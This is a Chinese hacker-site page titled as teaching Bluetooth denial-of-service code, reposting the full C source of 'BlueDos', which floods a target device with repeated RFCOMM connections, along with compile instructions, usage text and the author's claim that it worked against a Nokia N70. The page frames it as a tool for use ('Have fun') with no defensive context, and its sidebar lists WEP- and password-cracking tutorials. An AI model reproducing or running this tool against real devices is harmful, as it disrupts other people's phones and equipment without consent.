您的位置:首页网络冲浪黑客天空 → 教你蓝牙设备拒绝服务代码

教你蓝牙设备拒绝服务代码

时间:2009/11/6 11:07:00来源:本站整理作者:我要评论(0)

* A simple tool to make DoS against bluetooth devices. 
   Compile it so: gcc BlueDos.c -o BlueDos -lbluetooth
   I have test this proggy against my nokia n70 and it seems to work.
   Have fun!
   Contact me at wargame89@yahoo.it or visit: http://vx.netlux.org/wargamevx
*/

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <sys/socket.h>

/* make the real connection */
int BlueConnect(bdaddr_t *dst,short channel)
{
	struct sockaddr_rc remote_addr, local_addr;
	int sock;

	if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0) 
	{
		printf("Error creating the bluetooth socket!\n");
		return 0;	
	}

	memset(&local_addr, 0, sizeof(local_addr));
	local_addr.rc_family = AF_BLUETOOTH;
	bacpy(&local_addr.rc_bdaddr, BDADDR_ANY); 
	
	if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0) 
	{
		printf("Error binding!\n"); 
		close(sock);
		return 0;
	}

	memset(&remote_addr, 0, sizeof(remote_addr));
	remote_addr.rc_family = AF_BLUETOOTH;
	bacpy(&remote_addr.rc_bdaddr, dst);
	remote_addr.rc_channel = channel;

	if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0) 
	{
		printf("Error connecting!\n");
	        /* Do not return */
	}

	else
	{
		printf("[* Done]\n");
	}
	
	close(sock); /* close the socket */
	
}

int main(int argc,char *argv[])
{
	int dos_cnt,it;
	bdaddr_t dst;
	short channel = 1;

	if(argc < 4)
	{
		printf("Usage: %s <bt_addr> <conn_num> <sec_sleep> <channel (optional, default = 1)>\n",argv[0]);
		return 0;
	}

	str2ba(argv[1],&dst);
	dos_cnt = abs(atoi(argv[2]));
	it = abs(atoi(argv[3]));

	if(argv[4] != NULL)
	{
		channel = abs(atoi(argv[4]));
	}

	printf("[bt_addr = %s,conn_num = %d,sec_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);

	for(;dos_cnt > 0;dos_cnt--)
	{
		BlueConnect(&dst,channel);
		sleep(it);	
	}

	return 1;
}

相关阅读 苹果蓝牙耳机一个响一个不响汽车收音机怎么连接手机蓝牙手机蓝牙怎么连接不上摩拜单车二维码被破坏怎么开锁 摩拜单车没有二维码怎么开锁摩拜单车不扫码怎么开 摩拜单车极速开锁教程摩拜单车蓝牙如何开锁 摩拜单车蓝牙开锁步骤详解荣耀音乐小巨蛋怎么样 荣耀音乐小巨蛋蓝牙音箱评测蓝牙5.0手机有哪些 蓝牙5.0和4.2的区别是什么

文章评论
发表评论

热门文章 黑客大战直播网址 黑客

最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具